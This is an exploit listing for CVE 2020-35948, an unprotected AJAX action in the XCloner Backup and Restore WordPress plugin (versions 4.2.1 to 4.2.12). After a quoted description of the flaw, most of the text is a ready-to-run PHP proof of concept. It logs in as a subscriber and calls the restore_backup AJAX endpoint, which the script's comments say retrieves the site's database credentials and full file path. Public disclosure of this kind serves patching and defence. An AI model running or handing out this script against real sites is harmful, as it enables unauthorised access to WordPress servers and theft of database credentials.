XCloner Backup and Restore 4.2.1 – 4.2.12 – Unprotected AJAX Action | CVE 2020-35948

Description

"This flaw gave authenticated attackers, with subscriber-level or above capabilities, the ability to modify arbitrary files, including PHP files. Doing so would allow an attacker to achieve remote code execution on a vulnerable site’s server. Alternatively, an attacker could create an exploit chain to obtain a database dump due to the same unprotected AJAX endpoint, amongst other things. "

Proof of Concept

This is just one example of what can happen - this will retrieve the site's DB credentials and full file path. 

Usage: php poc.php mysite.com subscriber password

<?php

// Settings
$wp_url = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];

// 1) Log in as subscriber
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

// Update Settings
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php?action=restore_backup');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'xcloner_action' => 'get_current_directory'
]);

$output = curl_exec($ch);
curl_close($ch);
print_r($output);

?>